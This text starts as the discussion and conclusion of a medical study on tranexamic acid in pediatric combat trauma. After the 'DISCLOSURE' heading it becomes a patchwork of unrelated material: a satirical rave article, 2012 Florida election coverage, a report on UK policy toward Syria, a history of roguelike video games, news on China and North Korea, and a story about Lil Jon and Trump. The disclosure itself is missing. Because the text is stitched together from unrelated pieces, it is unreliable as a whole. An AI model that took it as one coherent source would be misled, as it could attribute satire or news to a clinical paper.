Although TXA has now been associated with improved outcomes in both civilian and military trauma studies, there are scant data about the application of TXA in the pediatric trauma population. The current existing literature on TXA use in trauma was limited to adult trauma patients or injured soldiers and specifically excluded the pediatric population. As is the case with many aspects of trauma care and pharmaceutical agents, adult protocols are often adopted for use in pediatric patients with either significantly less or no available data. This has long been recognized as a problematic aspect of pediatric care because pediatric patients may differ significantly from adult patients in terms of injuries, physiologic and metabolic response to hemorrhage, pharmacokinetics and drug efficacy and toxicity, and therapeutic benefit. In addition, there is obviously significant heterogeneity within the pediatric population itself, with major differences in anatomy, physiology, and response to injury based on age and stage of development. This is of particular concern when discussing the efficacy and safety profile of a pharmacologic agent that may require major dosing and timing adjustments to achieve therapeutic benefit similar to that of the adult population. TXA has been widely adopted by adult trauma centers and anecdotally is increasingly being used in pediatric trauma patients. However, there is a significant lack of published data related to the use of TXA in younger patients, and this served as the main impetus for the present study.
One obvious problem inherent to studying severe injury and hemorrhage in the pediatric population is the smaller sample size available compared with the adult population. Thus, multicenter and multiyear pooled data samples are often required to provide adequate study power. An unfortunate but opportune by-product of many military conflicts is the high volume of severely injured patients, and in urban conflict environments, this frequently includes children and young adults. The recent and ongoing military actions in Iraq and Afghanistan have been no exception, and a relatively large volume of pediatric patients with major injuries has been cared for at US and coalition treatment facilities. This study analyzed data from a large multinational Role 3 facility in Afghanistan that consistently provided a large volume of pediatric care and was an early adopter of TXA use as an early adjunctive therapy. This provided a sample of nearly 800 pediatric trauma patients during a 4-year period, with TXA used in approximately 10% of cases. The present study confirms what previous authors have demonstrated in the civilian and military adult trauma populations, that timely administration of TXA to injured persons is associated with a survival advantage, and now, that advantage seems to extend to the injured pediatric population as well. To our knowledge, this is the first published evaluation of the efficacy and use of TXA in pediatric trauma.
Although this is the first large series evaluating the use of TXA in pediatric trauma patients, there are multiple studies that have evaluated the use of this agent in the pediatric surgical population. The use of antifibrinolytic agents such as TXA and aprotinin in major elective or semielective pediatric surgery has been well documented. The vast majority of this literature relates to the use of TXA as an adjunctive treatment to decrease blood loss during major cardiac surgery or orthopedic procedures such as joint and spine reconstructions. The Cochrane Review meta-analysis of TXA versus placebo in pediatric scoliosis surgery demonstrated a significant reduction in blood loss and transfusion requirements, and the pooled meta-analysis of pediatric cardiac, scoliosis, and craniofacial surgeries by Schouten et al. confirmed the reductions in blood loss and transfusion requirements in more than 450 pediatric cases.23,24 Importantly, these studies did not identify any increased adverse effects potentially related to the antifibrinolytic (TXA) treatment such as venous thrombosis or other thrombotic events. However, given the small number of patients overall in these cumulative analyses and the relative rarity of thrombotic events in the pediatric population, the true incidence of potential complications with TXA may not be evident. Furthermore, because of the elective surgical nature of these studies, no mortality analysis has been performed. Similar to the previous studies of TXA in adult patients, we found an adjusted mortality benefit associated with TXA administration among all patients and strong trends toward mortality benefit in the subgroups of severely injured children and those requiring blood transfusion. However, clearly, further study is needed to accrue larger sample sizes and adequate numbers for analysis in specific subgroups of interest such as those with higher ISS, active hemorrhage, and particularly among pediatric patients requiring an MT.
In the present study, a single fixed bolus dose of 1-g TXA was administered within 3 hours of injury, following the adult dosing parameters outlined in the MATTERs studies. While the possible addition of a second infusion dose because of ongoing coagulopathic hemorrhage, documented hyperfibrinolysis, or physician discretion is part of the TXA treatment algorithm, there are no data to suggest that any of these patients received subsequent doses. Review of the pediatric surgical literature involving TXA demonstrates wide variation in the dose and schedule of administration with no evident superior treatment strategy.25 The only reported pharmacokinetic analysis of TXA in pediatric patients involved cardiac surgery with cardiopulmonary bypass and recommended a weight-based dosing scheme including loading, maintenance, and redosing algorithms.26 Further investigation of dosing and schedule clearly needs to be performed to determine the optimal treatment regimen.
The additional propensity analysis performed in this study confirmed the TXA-related survival advantage seen in the initial multivariate regression and identified no difference in transfusion ratios between groups that could confound interpretation. Furthermore, our closely matched propensity analysis identified a significant improvement in discharge neurologic status and decreased mechanical ventilatory dependence among those patients that received TXA. These additional favorable findings have not been reported in any previous studies of TXA. While decreased ventilator dependence may be ascribed to the improved neurologic status of these patients, these findings suggest further support for possible beneficial effects of TXA beyond the antifibrinolytic mechanisms. The potential beneficial effects of TXA among patients with severe traumatic brain injury is fascinating and deserves further focused investigation. Of note, there are at least two prospective trials of TXA in the traumatic brain injury population currently being developed and initiated in the United States and Europe.
Although our propensity model performed well in accuracy and reliability, it is important to note that the overall “goodness of fit”, as measured by the R 2 statistic, indicated that there was significant additional unexplained variance in the decision to administer or withhold TXA (R 2 = 0.47). This result could be explained by the failure of inclusion of additional variables that significantly impact the decision for TXA administration, although we included all relevant demographic, hemodynamic, and injury-related variables that would be available to the deciding physician. Alternatively, we believe that this actually reflects the current lack of evidence-based criteria for the administration of TXA. Inclusion criteria for the CRASH-2 trial were largely based on physician “impression” and estimation of the risk for large-volume hemorrhage, and there are currently no widely agreed upon or validated objective criteria to direct the decision for TXA administration even in the adult population. For the pediatric population, there are even less available data and thus the expected finding of the high degree of variance in TXA use that is not explained by standard physiology and injury severity variables.
Beyond the retrospective nature of this study, several important limitations must be considered. First, the data set included neither adequate information to assess blood loss nor standard coagulation studies or rotational thromboelastometry data, which serves as the point-of-care coagulation assessment in the study hospital. Thus, we were unable to directly compare the effect of TXA on blood loss or its effect on coagulation. Second, no data are available regarding TXA dose timing with respect to injury time or subsequent dosing. While the Camp Bastion hospital protocol calls for TXA to be administered only within 3 hours of injury and redosed based on physician discretion, we cannot verify timing of the first dose and no secondary dosing was documented for any of these cases. While our TXA patient population had no documented diagnoses of thromboembolic or seizure complications potentially related to TXA, our relatively small patient population and retrospective study design might limit definitive safety conclusions. Furthermore, while many of these patients received definitive care at Camp Bastion, a significant percentage was transferred early after stabilization, thus limiting longer-term outcomes data.
CONCLUSION
Accumulating evidence suggests that administration of TXA to severely injured civilian and military patients with hemorrhage confers a significant survival advantage. Early administration using standard dose algorithms does not seem to be associated with any increased thrombotic complications in trauma patients beyond the historical rates associated with severe injury. In the present study of pediatric combat casualties that received TXA, the same favorable associations of survival advantage and safety profile seem to hold true, during the limited follow-up period of this study. Combined with existing surgical literature that demonstrates reduced blood loss and transfusion requirements in major pediatric surgery using TXA, the promising clinical potential of this agent cannot be ignored. Furthermore, TXA use may be associated with added benefit beyond hemorrhage control, including improved neurologic and pulmonary outcomes. Future research in both the adult and pediatric trauma populations is critical to fully evaluate the effects, optimal application, and complete mechanism of action of TXA after injury.
AUTHORSHIP
M.J.E., T.M.W., S.D.T provided the study concept, design, and data collection. M.J.E, S.I., and M.J.M. conducted data analysis and interpretation. M.J.E., D.W.N., and M.J.M drafted the manuscript, and M.J.E., T.M.W., S.D.T., D.W.N., and M.J.M provided critical revision of the manuscript for important intellectual content.
DISCLOSURE
Gym-obsessed, wildly enthusiastic Americans have embraced the dregs of rave, over a decade after it was ruined by the British.
Raveologist Tom Booker said: “They’ve skipped the bit where raving was fun and gone straight to massive corporate gurnfests in sports arenas.
“If you thought raves had gotten shit in the UK, the Americans have got this DJ in a rodent helmet who does not take drugs.
“I repeat, he does not take drugs.
“There’s another one who does dubstep and looks like a fraggle.
“This is going to get ugly.”
23-year-old Californian Nikki Hollis attended the 30,000,000,000 person Cand-E-Vibe rave.
She said: “Woooooo! Fuckin’ a! Here comes the drop! The drop! Woooo!”
Tom Booker said: “House music originated in America, but from black homosexuals in nightclubs that weren’t full of aspiring Abercrombie & Fitch models.
“The British soon adopted it, because as a nation we’re always looking for an excuse to take fucking loads of drugs.
Obama leads Republican Mitt Romney by 58,055 votes — or 49.92 percent to 49.22 — but there just aren’t enough votes from Republican areas to allow the challenger to catch up.
Romney’s Florida campaign has acknowledged their candidate lost in Florida as well. Romney already conceded the national race after he lost the other battleground states.
“The numbers in Florida show this was winnable,” Brett Doster, Florida advisor for Romney, said in a statement to The Miami Herald. “We thought based on our polling and range of organization that we had done what we needed to win. Obviously, we didn’t, and for that I and every other operative in Florida has a sick feeling that we left something on the table. I can assure you this won’t happen again.”
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With Florida’s 29 Electoral College votes, Obama will have 332 votes to Romney’s 206.
“We feel we will be the official winner in Florida later [Thursday],” Obama campaign manager Jim Messina said. Preliminary results are due from the counties to the state by noon Saturday. The final results are to be certified Nov. 20.
The numbers in Florida look unlikely to change in Romney’s favor.
Miami-Dade finished tallying a backlog of 54,000 absentee ballots Thursday and it marginally increased Obama’s lead.
Still outstanding:
• Broward County. It has about 8,000 absentee ballots outstanding. Obama won Broward 67-32 percent. If those numbers hold, it would give Obama 2,800 more votes.
• Palm Beach County. It could have as many as 8,000 votes yet to add to its tally. Obama won that county 58-41 percent. If those numbers hold, Obama would pick up another 1,360 more votes.
• Duval County. The only non-South Florida County, Duval has about 3,600 absentee ballots to be counted. Romney won it narrowly, 51-48 percent. At that rate, Romney would pick up only 108 more votes.
Even if the estimates from South Florida were reversed and Obama’s extra projected votes were handed to Romney, the Republican would come nowhere near to winning.
In other words, could Syria's President Bashar al-Assad be about to follow the example of his father President, Hafez al-Assad, who massacred not just hundreds but thousands and, perhaps, tens of thousands of people 30 years ago in order to quell a revolt against his regime? *
That was the fear discussed at a meeting of the National Security Council chaired by David Cameron. It examined the consequences of Russia and China's veto of a United Nations resolution condemning the Assad regime.
Ministers believe there are only two possibilities now - either Russia changes its mind and decides to turn on the Syrian regime, or some of those who wanted a UN resolution will arm the Syrian rebels.
Ministers are concerned that the Syrian opposition are not as organised or co-ordinated as the Libyan forces who assembled in Benghazi. They are keen to do all they can to help whilst trying to avoid the appearance of a rebellion led or organised by the West.
The next key move will be made by the Arab League when it meets this Saturday but the British government has discussed the possibility of staging an international conference on the future of Syria in London to bring together opponents of President Assad.
Many of those interested in the future of Syria are due to be in the UK anyway in a little over a fortnight's time for the London Somalia Conference. That event on 23 February will see senior representatives from more than 40 governments gathering in the capital, along with the UN, AU, EU, World Bank, the Inter-Governmental Authority for Development, the Organisation of the Islamic Conference and the League of Arab States.
The aim of any conference would be to encourage greater co-ordination between different Syrian factions and open discussions between them and their potential supporters in North Africa, the Gulf States and some Arab states.
Some will draw parallels with the Libya Conference in London last year, which was the precursor to military action. Ministers are clear that there is no chance of that, though once again it is the Qataris who are taking the lead in the region and it is they who are expected to arm the rebels.
Here’s a list of roguelike games we’ll be covering.
Ready to get started? Great! Let’s begin with the classic itself…Rogue.
Rogue (1980)
Originally programmed for Unix systems back in 1980, by 1984 you could buy it at the store or get a copy from a friend. Rogue, unlike other games of the period, didn’t feature fancy graphics, but it’s still hailed as a classic.
Why? One simple word – gameplay. Features like permadeath made crawling from room to room and delving deeper into the dungeon as your character gained experience even more exciting. One false step meant you had to start all over from the beginning.
And that leads to another cool feature of Rogue – procedural generated dungeons. Basically, every time you play Rogue (or another roguelike), you get new random maps to explore with monsters and treasures randomly placed around what is generated.
What platforms can you (still) play this wonderful game on? While I originally played the DOS version, you can now get it for Amiga, Amstrad CPC, Android, Atari 8-bit, Atari ST, Commodore 64, GP2X, GP32, Linux, Macintosh, Roku, TRS-80 CoCo, and ZX Spectrum.
The best part? You don’t need a super high-end graphic card or monitor to play the game. If you’re an RPG fan, you’re going to love the way this game plays. It’s terribly addicting. Personally, I spend countless hours trying to beat this game. Never did.
Hack (1982)
Hack is perhaps the original Roguelike, since it’s a direct clone of Rogue. It was directly influenced by Jay Fenlason’s interest in Rogue and his desire to figure out how the game worked. It’s arguable that this is the game that really spawned everything that followed.
An awful lot of Hack comes from Rogue, at least as far as game historians can tell. The issue is that very few people ever got their hands on the original version. Far more common is the updated version of Hack, released in 1985 by Andries Brouwer.
Brouwer’s version is the direct predecessor of NetHack and the version of the game with which most people are familiar. It’s a fairly archaic looking game, made of ASCII characters, but it’s still an important part of gaming history.
This is the game where one could create a character and last as long as possible. A win state exists for those who can brave Hell to get the amulet, but that’s not the point.
No, the point of Hack was to get the most points possible before death. It was decidedly old school, but it’s still playable today.
Hack may not be the originator of the genre, but it’s undoubtedly one of the most important entries in the field.
Moria (1983)
For those playing on Unix, Hack was the first Rogue clone. For those with VMX, though, Moria was the first real Roguelike. Moria brings quite a bit to the table. It is, for example, the first of the roguelike s to make setting an important part of the genre. It cribs liberally from JRR Tolkien, but it still works spectacularly.
You can really say most of the same things you’d say about Rogue or Hack about Moria. It’s a clone, albeit one with a bit more panache than you’d get from the older games. It’s perhaps the best example of what Roguelikes would become. Moria shows the first few steps away from just copying Rogue. Its legion of clones would expand the setting and keep the fantasy theme. With Moria, you get the beginnings of a genre.
Moria also shows that the core of the Roguelike genre was gameplay, not setting. You could do almost anything with the setting and have it remain familiar to the players. While this roguelike game little harder to find than Hack, it’s worth looking at if you have time.
Larn (1986)
Larn is a short and sweet game. In theory, you can finish it in a single play setting. If that’s all there was to it, it would have been a curiosity at best.
Instead, Larn turned out to be the next defining step in the genre. Roguelike s owe more to Larn than most people remember. It’s a shame, then, that this game gets forgotten as often as it does.
While the gameplay in Larn is nothing particularly special, it does a few things that would inspire later games. It leverages the power that started becoming available for PCs in the mid-80s to do something new.
Larn is the game that introduced a persistent home state for the roguelike genre. No matter what happened, the first level would always be the same, with a town, a bank, and a player’s home. It made for an identifiable beginning to the game.
Larn also brought a coherent plot to the genre. In this game, players sought out a potion to cure their daughter. There’d be a method to the madness of roguelike s for the first time.
Finally, this game increased difficulty on each subsequent attempt. While not always present in these games, it’s a familiar feature that would be copied again and again.
NetHack (1987)
NetHack is, after Rogue, the most important game in the genre by a wide margin. It might not have come first, but it changed everything.
If you take everything that had led up to the moment of NetHack’s creation, you’d get a good idea of what was about to happen. It wasn’t just a roguelike – it was a real video game.
Yes, there was gameplay in the games that came before. Yes, there had even been rudimentary stories. NetHack put everything together to make a fully-featured video game.
The plot might’ve been an excuse, but the sheer joy of discovery was something special. Everything was bigger, better, and more engaging. The game felt like it was something special at the time.
NetHack has perhaps the most enduring legacy of this genre. It’s still played today, with its open source license allowing for continual improvements and iterations.
If you love roguelike s, this is absolutely a game that you have to play. You can still check out the Nethack Guidebook online.
Angband (1990)
As NetHack followed Hack, Angband followed Moria.
Angband took the setting and premise of Moria and expanded it, making it truly about Tolkien’s Middle Earth setting. The goal was to survive one hundred levels of the titular fortress and beat ultra-evil Morgoth at the top.
There’s a lot to love in this game, even if it isn’t quite as revolutionary as NetHack. You still get that persistent first level and the ability to explore, though with a more Tolkien-esque flavor.
This is a great game to look at for fans of Tolkien, especially if they like a challenge. It’s a great iteration on the basic ideas of presented by the earlier games.
There’s also something to be said for the level of difficulty of this game. It’s punishing at points, even from the beginning. It set a precedent that would be followed by many other games.
There are plenty of clones and ports of this game, making it easier to find. It doesn’t have the same kind of open software license as other games, though, which has kept it from being as widespread as it should be.
Angband is best known, though, for giving rise to its successors, including ZAngband.
Ragnarok (1992)
Created by Thomas F. Boyd and Rob Vawter, this game was actively developed from 1992 until 1995. That said, people still enjoy the game today. It was released in Europe as Valhalla.
What made this game so intriguing for the time (the 90s) was that it incorporated graphic elements into the game. Set quests and the ability to change classes were also new for the genre.
In fact, the character system was one of the big draws of the game. Unlike some of its predecessors, this game drew on a rich history of Norse mythology.
Like Nethack, this game also used Ghosts of slain characters to add another level of excitement. If you died, you might come across the ghost of that character while playing another.
Here are the six quests in the game…
Free Balder’s soul. Locate and return Mjollnir to Thor. Locate and return Gjallarhorn to Heimdall. Locate and return Mimming to Freyr. Locate and return Gungnir to Odin. Find a manner for Tyr to fight with one hand.
This is one of the rogulike classics for sure.
ADOM (1994)
Ancient Domains of Mystery is the next step in roguelike development, bringing the game forward into something that’s far more recognizable to modern fans.
ADOM featured a little bit of everything that had come before – a plot, a persistent home, and even the chance to create your own character.
That’s not what made it particularly innovative, of course. That’s just what it picked up in its evolution.
No, what made this game innovative was the quests.
There were real quests in ADOM, which you could get depending on what your character’s level or alignment was. It might not have been the first in the genre to branch out beyond a main quest or survival, but it’s the most memorable.
The game also featured persistent dungeon layouts. While each dungeon would be generated upon entry, it would stay the same even after a player left. This was a huge change in how the games of the genre would work in the future.
ADOM shows how the genre would continue to evolve over time. As computers became more sophisticated, programmers began to add more to the game.
ADOM would eventually get a sequel almost a decade later, but it’s the original game that still holds a spot in the hearts of players.
ZAngband (1994)
ZAngband was the most successful variant of Angband, continuing the tradition started by Moria.
Short for Zelazny Angband, this game swapped out the Middle-Earth setting for one based on the Chronicles of Amber.
There are a few notable differences outside of the setting that set ZAngband apart from its progenitor.
The first is the existence of a random overworld. Gone is the single starting town, replaced with a randomly generated world. Players could enter the dungeon in the first town, but there would be more towns to find.
Buying and selling items would also be a huge part of the game, as more powerful items would be available at different random towns. This gave players a new incentive to explore the overworld.
ZAngband represents a fork in roguelike development. Games that follow in its footsteps definitely spend more time dealing with the buying and selling of items than those that don’t. It’s a unique feature that really helped to drive home how these games would develop.
ZAngband is still around and in development, with a healthy community. It’s a long-runner to be sure, but still worth checking out.
Slash’em (1998)
S lash’em is another one of those games that quietly moved the genre forward through a few major innovations.
First and foremost, it’s a major release that didn’t rely on ASCII graphics. This looks much more like a modern roguelike, and there’s a good argument to be made that it influenced the look of many games to come.
This is also the game that started to provide unique areas in the dungeon, like the Sunless Sea. It also poked a gentle amount of fun at players of the genre with the Guild of Disgruntled Adventurers.
This is the game that started adding transport puzzles to the genre, something that’s been copied over a few dozen times by now. In fact, almost everything that this game innovated would be copied back into NetHack itself.
What’s great about Smash’EM isn’t necessarily the play of the game itself. It’s about everything that it brought to the table and that filtered down into the rest of the genre. It’s about making changes that everyone else copied.
Smash’EM made roguelike s more fun for those who weren’t already hardcore fans. It’s hard to say where the genre would have gone without the major improvements brought by this game.
NorseWorld Ragnarok (2002)
Based on the original Ragnarok game from 1992 to 1995, NorseWorld Ragnorak took an already strong game and made it even better with some simple improvements.
Here’s the developers’ description…
The development of this game was begun at november 2002, as remake of Ragnarok game, created in 1992-1995 by Thomas Boyd and Robert Vawter. In this roguelike-game, created on base of scandinavian mythology, you are brave viking, who must help the aces (the gods) to win in Ragnarok – the final battle against evil. This battle will determine the fate of nine worlds. You begin in your village and can choose between the ways of viking warrior, woodsman, blacksmith, alchemist, conjurer or sage. Each way is different from others and has its own advantages and disadvantages, each new game is totally unique. Worlds and their levels, lands, creatures, items and even merchants are randomly generated.
You can still find copies of this game online if you look hard enough.
DoomRL (2002)
What happens when you take a wildly popular shooter and combine it with the elements of a roguelike? Unfortunately, you get hit with a cease and desist order. Before that, though, you had a mash-up that most gamers didn’t know they really wanted. By combing Doom and the roguelike genre, DoomRL became a standout game in a genre that was getting a bit stale.
DoomRL takes place in the same general setting as the first two Doom games. The game initially had the classic ASCII tile set and had players interacting with the world through a turn-based system. While a graphical tile system eventually replaced the more primitive characters, the core of the game has remained the same. As one might expect, there is a great deal of emphasis on ranged combat over melee, but the game really does feel like someone put a Doom overlay onto a very classic roguelike.
Given the copyright violations, it should come as no surprise that DoomRL is no longer DoomRL. The game is now popularly known as DRL, and has much of its violating material replaced with look and sound-alikes. At its heart, though, it is still the same relatively simple game that captured the imagination of so many players.
Dungeon Crawl Stone Soup (2006)
Dungeon Crawl Stone Soup is a fantastic example of what happens when fans take game development into their own hands.
Inspired by Linley’s Dungeon Crawl, this is one of the new breed of roguelikes. It seems equally interested in innovating and paying homage to games of the past. This is a game by fans, for fans, and it shows.
An awful lot of Stone Soup seems focused on making the roguelike genre more friendly for players who haven’t been deeply involved in it in the past – something you wouldn’t necessarily expect from the development of the game.
You can look at this game as one that seeks to boil down roguelikes into the elements that make it a fun genre.
So, what’s a holdover? The random dungeons, of course, and the general excuse plot that drives most roguelikes. There’s also something of a classic roguelike look about the game, which helps drive home the classic inspirations.
The new additions make the game a bit more fun for new players. Some tasks, like finding previously found items and exploration, can be automated. The user interface is easy to understand, and there’s not a lot in the way of hidden mechanics.
Brogue (2009)
In many ways, Brogue is a return to the utter simplicity of Rogue. It still features a simple quest, the attempt to retrieve an amulet from the Dungeons of Doom. It still challenges players to go as deep in the dungeon as possible to get a high score. The game even features simplistic ASCII graphics, working as a true throwback to an earlier era of gaming. This is a love letter to the genre, one that is thankfully free to anyone who wants to pick it up.
Brogue is a good example of how to do a throwback right. You can tell that everything in the game has been crafted to exacting standards, even if nothing looks particularly great. This is a game meant to evoke a certain time and a certain place, and it does both well. It strips away all the complexity of the genre and leaves behind only the core elements to support the game.
Brogue is a great game for hardcore fans of roguelikes. Its primitive graphics will throw off some newer fans, but it’s a great way to engage with the classic elements of the genre without having to dig out an ancient game. This is a game for truly dedicated fans.
100 Rogues (2010)
100 Rogues bills itself as a roleplaying game for mobile devices, but it’s really an arcade-style roguelike for smartphones and tablets. While it has all the charm, bells, and whistles one would expect from a modern phone RPG, it still has the heart of a roguelike beating underneath. The terminology used in selling the game is just evidence that 100 Rogues is meant for a more casual audience. If you’ve ever played a roguelike, though, you’ll understand exactly what this game is all about just minutes after picking it up.
100 Rogues follows a fairly simplistic path. Players take their character through procedurally generated dungeon levels, gain loot and experience, and eventually fight the boss of the game. The game is turn-based, putting more emphasis on tactics not how fast a player can twitch their fingers. It’s not the most complex example of a roguelike out there, but it is a good starter for anyone who has access to a phone.
The game definitely shows a future for roguelikes on new devices. While PC gamers might be pushing for more and more visually impressive games, mobile users are looking for better and better content. This is an area in which roguelikes and other similar games can thrive.
Dungeons of Dredmor (2011)
Fun, accessible, and light-hearted, Dungeons of Dredmor is a good example of how a roguelike can be fun even if it doesn’t really innovate. There’s nothing new in this game, but there is a lot to love. It follows the standard formula to the letter, but it follows the formula well. You can tell that the design choices were made not out of laziness, but out of a true love for how these games work. It can be fiendishly hard or surprisingly easy, but there’s always something to enjoy just around the corner.
The point of Dungeons of Dredmor is, theoretically, to beat the ruler of the dungeon. According to the developers, though, the game typically devolves into just seeing how far you can make it through the dungeon before dying. The game is difficult, even though there are several difficulty settings from which players may choose. The random nature of the game makes it strangely easy to die early on.
Dungeons of Dredmor is part of the trend towards making roguelikes a bit more like the original games. A lot of the fluff is stripped away so players can enjoy the basic mechanics of the genre. Those looking for a good roguelike experience will doubtlessly enjoy this game.
HyperRogue (2011)
If games like Brogue or Dungeons of Dredmor represent a move back towards the basics, games like HyperRogue represent an attempt to push the genre further towards the future. While this is a roguelike in that it has a procedurally generated world with death around every corner, the game actually borrows quite a bit from puzzle games. The combat is very different than what you’d expect to find in other roguelikes, as is the world. There are plenty of quests and special modes that really take this game beyond the norm.
One of the real selling points of HyperRogue, though, is its geometry. Based on the works of M.C. Escher, it’s not exactly the straightforward dungeon crawl that many players might expect. Indeed, the game is a little more psychedelic and a little more out there than one might expect from anything else in the genre. There’s a lot to do, of course, but that doesn’t mean that every player is going to buy into the art style. When it comes to roguelikes, this game is aggressively different. HypeRogue takes a look at the playing field and decides that it’s going to go do something else, somehow still preserving the spirit of the genre while doing so.
Tales of Maj’Eyal (2012)
Another throwback game, Tales of Maj’Eyal is more about incremental changes to the formula than doing anything particularly new. That’s not a bad thing, though, especially as players are dividing into camps about what counts as a “true” roguelike and what’s just riffing on the genre. This game features almost everything that players have come to expect from roguelikes, peppering in a few quick changes that really do enhance playability. It’s fairly easy to see this game as a natural evolution of the concept rather than a game that has gone out of its way to be something different.
The big change of Tales of Maj’Eyal is that the game features full-color graphics. While not exactly surprising these days, this is still something that most of the close followers of the original roguelikes seem to avoid. Tales of Maj’Eyal also features the ability to earn extra lives, something that’s certainly outside of the norm in a game type that seems to be increasingly fixated on permadeath. These two additions, along with almost total mouse control, help to create a game that is far more friendly to new players while still offering quite a bit to people who are more familiar with the genre.
Pixel Dungeon (2012)
Given the popularity of pixel art among retro gamers, it is only natural that there would be a pixel art roguelike. Pixel Dungeon, as one might expect, is simply a roguelike that uses pixel graphics in order to bring a feeling of old-school nostalgia to the proceedings. Stripped of its art style, though, you can find a simple but fun roguelike that has a great deal of room for novice players. The game’s art style is an invitation to play, but the actual mechanics work in a manner that helps long-time players of the genre stay fulfilled.
Pixel Dungeon features a fair number of old-school elements. Players will delve through a twenty-five layer, randomly generated dungeon. Like so many of the older games, the overall goal is to find the Amulet of Yendor. Along the way, players will collect loot and money, all while leveling up their characters. A few minor innovations, like the inclusion of boss monsters, do help to make sure that the game keeps up with some modern gaming innovations. All in all, though, this really is a classic game that is covered in a timely layer of nostalgic paint. Definitely a must-play for those who want a simple and kitschy roguelike.
Caves of Qud (2010 / 2015)
Caves of Qud is a throwback, for good or for ill. When you boot up the game, you’ll feel like you’ve been thrown back to the 80s. If hard-to-fathom graphics and relentless difficulty are your thing, this is going to be a welcome change. If you like your roguelikes with even a small nod towards everything that’s gone into game development over the past three decades, though, you’ll find yourself wondering exactly what is going on with this game.
Caves of Qud is, if nothing else, ambitious. With a fairly strong sci-fi pitch, this is a roguelike in which you should theoretically be able to do anything. You can customize your character to your liking, which is a bit of a double-edged sword. On one hand, this means experienced players can create a fantastic creature with a minimum of effort. On the downside, this means that a few missteps even at this early stage can doom you towards the end.
That’s a shame, because Caves of Qud really is a good throwback. It is one of those games that prides itself on being tough, and some gamers really enjoy that. If your goal in playing through a roguelike is to challenge yourself as much as possible, this may be a game for you. There’s certainly no hand-holding here, and there’s certainly no modern conveniences. This is a game for the truly hardcore. Originally developed in 2010, it was released on Steam in 2015.
Do You Love D&D Books? Get a FREE LitRPG Novel Today! Looking for a full-length LitRPG novel to read? You can get a free copy of Roguelike right away! Click here for more information on this great LitRPG adventure. Fans of Dungeon Crawl Stone Soup, Nethack, and other roguelike games will enjoy this book!
Seven Day Roguelike Challenge
There are many game designers who want to create a roguelike, but just might not have time to shoot for a major release. One of the most popular ways to make a Roguelike these days is with the 7 Day Roguelike Challenge. As the name suggests, this is a challenge to create a fully-working Roguelike during a single 168 hour period. Given the relative simplicity of the graphics used by many roguelikes, this is a daunting but not entirely impossible task. There are many one-man teams who have managed to put together great games. Indeed, many of the more popular modern roguelikes have their roots in this challenge.
Creating one of these games is generally an act love, given that there’s not a lot of commercial success associated with these games. In fact, most of the games developed during these challenges often turn out to be freeware. The challenge is, though, a great way for game designers to work on their coding skills under a crunch. Games like DoomRL are products of this kind of pressure, and they’ve gained quite a following on their own. While the deadlines are tough, this challenge is one of the places where the next great innovation in roguelikes is likely to be born.
Roguelikes at Reddit
In my travels around the web to put together this article, I came across the Roguelikes subreddit. I wanted to take a moment and thank everyone there who gave me the impetus to make this post even better. Be sure to stop by and check out Roguelikes at Reddit for more procedural generated fun than you can handle!
Wait! Hold on a Stinkin’ Minute!
I hear you asking, “What about Beneath Apple Manor back in 1978? Or Sword of Fargoal which was started in 1979?” While it’s truly the first procedural generated dungeon romp, Beneath Apple Manor-Like never took off. Maybe it should’ve been BAM-likes? Anyway! This is actually the first roguelike.
You can check out an old (1991) Computer Gaming World article about the game. While originally completed in 1978, the high-res multi-platform releases weren’t until 1982 and 1983 – probably when Rogue was selling like hotcakes (even without fancy graphics!)
You can find an emulator to play Beneath Apple Manor online.
Craving Even More Adventure?
We’ve left out several classic roguelike games.
Can you name them?
Have a favorite roguelike RPG of your own?
The news was announced by the Chinese embassy in the DPRK after Ambassador Li Jinjun met with North Korea’s Foreign Trade Minister Ri Ryong Nam on Tuesday.
The plan is backed by a $40 billion-development fund, and divided into overland and maritime trade belts.
“Ambassador Li introduced the concept and vision of ‘One Belt, One Road’ and hopes the two sides will work together to seize the opportunity to promote China-North Korea economic and trade cooperation,” the statement said on the Chinese embassy website, as translated by Yonhap News Agency said.
The statement, however, did not give any indication of the North Korean response.
The announcement contrasts with the cooling political climate between the two countries throughout 2014, though analysts believe the move could signal a change of tack from Beijing.
“The One Belt, One Road policy is the policy usually focusing on central Asia and Eurasia region. Xi Jinping visited Pakistan recently and China is trying to improve relations with these countries to stabilize their politics and security,” Jeong Jae-heun, a research fellow at the Institute of Far Eastern Studies at Kyungnam University told NK News.
“China wants to separate economics and politics, and it believes economic cooperation can facilitate its relationship in the long term, and finally create a politically flexible atmosphere.”
Despite numerous reports of political tension between North Korea and its largest benefactor, trade figures from 2014 indicate that little has changed economically.
According to the ITC Trade Map, trade between the two countries remained relatively constant from 2013 to 2014, with North Korea slightly closing the gap on its balance of trade.
Overall, China remains the DPRK’s largest trade partner by a wide margin.
On Friday, Lil Jon commented on an allegation that Donald Trump called him 'Uncle Tom' on the set of 'The Apprentice.' (Photo11: Paul Zimmerman/GettyImages, ERIK S. LESSER/EPA)
On Friday, it was Lil Jon's turn to weigh in on Donald Trump's campaign.
Politicos turned to the rapper for answers about Trump late Friday night, after The Daily Beast published a report alleging that the GOP presidential candidate had repeatedly used the racial slur "Uncle Tom" on The Apprentice set.
"Uncle Tom" is a slur used to denote a black person who is regarded as being subservient or deferential to white people.
During Season 13 of NBC reality show The Apprentice, three show staffers told The Daily Beast that Trump refused to stop using the offensive term even after producers urged him to stop.
The incident occurred during an episode in which Lil Jon bought and donned an Uncle Sam costume to help with a challenge advertising hair products, according to The Daily Beast's account. "During the day’s shoot, Trump himself caught wind of this gimmick and began referring to Lil Jon around Apprentice staff as 'Uncle Tom' instead of Uncle Sam," the publication wrote.
The report claims an executive producer got involved, but Trump "just couldn’t grasp that it was offensive."
In a tweet Friday evening from his official Twitter account, Lil Jon says Trump did use the term, but stopped when confronted.
"When this 'Uncle Tom' incident happened on Celebrity Apprentice in the boardroom several of my cast mates and I addressed Mr. Trump immediately when we heard the comment," Lil Jon wrote. "I can't say if he knew what he was actually saying or not but he did stop using that term once we explained it's offensiveness."
The rapper added: "I also want to be clear that I don't agree with many of the statements Mr. Trump has said during his current run for President."
It's not the first time Trump's behavior on the set of The Apprentice has come into question.
In the week since a 2005 recording leaked of Trump talking graphically about how he is able to grope women because of his celebrity status, Trump's critics and political opponents have sought access to comb through 14 seasons of unaired tapes of the The Apprentice in the hunt for more embarrassing bombshells.
The clamor caused Mark Burnett, the reality TV mega-producer who created The Apprentice, to state Thursday that MGM doesn't have the right to release footage from the show because of "various contractual and legal requirements."
